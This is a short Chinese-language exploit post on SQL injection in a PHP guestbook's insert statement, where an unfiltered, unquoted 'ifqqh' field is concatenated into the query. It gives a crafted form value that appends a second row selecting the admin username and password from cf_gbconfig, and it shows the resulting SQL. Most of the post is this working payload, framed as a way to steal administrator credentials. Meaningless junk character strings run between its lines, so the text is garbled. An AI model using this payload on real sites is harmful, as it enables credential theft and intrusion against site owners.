留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。
0 P8 i1 V$ C6 W- w% e" J
1 T/ a/ s7 d: j6 A9 ~7 L, z4 }3 c$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。# w0 I) H7 O X
$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
% s/ I T4 D+ k6 K8 C
" i2 `( E" r, k7 i0 }* s2 n提交的时候把ifqqh的值改一下。变成
+ _. Q- y' q# t
9 g6 z9 p) n3 S3 U! T+ h4 Q<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />; {! z) Y2 W( a1 U# ~: Z7 e9 D" i5 Y4 P
- X* m. g1 ~! o
这样SQL插入语句就变了.
5 Q, [5 ~' C5 ^2 Z
: P. `& ?/ N0 A& einsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)! ~! d9 d6 ~+ H# @5 s
; C [" s0 r* b构造了另外一句SQL。并且把帐号密码读出来。9 z) j# K0 b8 [- H/ |1 g
; ~5 p* m3 }0 j k& v6 n1 H2 W |